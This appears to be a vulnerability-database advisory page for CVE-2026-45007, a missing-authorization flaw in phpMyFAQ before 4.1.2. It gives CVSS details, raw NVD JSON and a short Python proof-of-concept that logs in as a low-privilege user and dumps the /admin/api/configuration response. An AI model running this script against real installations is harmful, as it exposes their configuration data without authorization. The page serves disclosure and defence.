Security Vulnerability Report
中文
CVE-2026-45007 CVSS 4.3 MEDIUM

CVE-2026-45007

Published: 2026-05-15 19:17:01
Last Modified: 2026-05-16 02:16:15

Description

phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vuln(target_url, username, password): session = requests.Session() login_url = f"{target_url}/admin/login" api_url = f"{target_url}/admin/api/configuration" # Step 1: Authenticate as a low-privilege user login_data = { 'username': username, 'password': password } login_resp = session.post(login_url, data=login_data) if login_resp.status_code != 200: print("Login failed") return # Step 2: Request configuration endpoint (Vulnerable endpoint) response = session.get(api_url) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Configuration Data Leaked:") print(response.text) else: print("[-] Could not access configuration") if __name__ == "__main__": # Replace with actual target and creds check_vuln("http://localhost:8080", "user", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45007", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:01.063", "lastModified": "2026-05-16T02:16:15.103", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains missing permission checks in ConfigurationTabController.php where 12 endpoints use userIsAuthenticated() instead of userHasPermission(CONFIGURATION_EDIT). Any authenticated user can enumerate system configuration metadata including permission model, cache backend, mail provider, and translation provider by querying /admin/api/configuration endpoints, violating least privilege access control."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-missing-permission-check-on-12-configuration-api-endpoints-allows-information-disclosure", "source": "[email protected]"}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}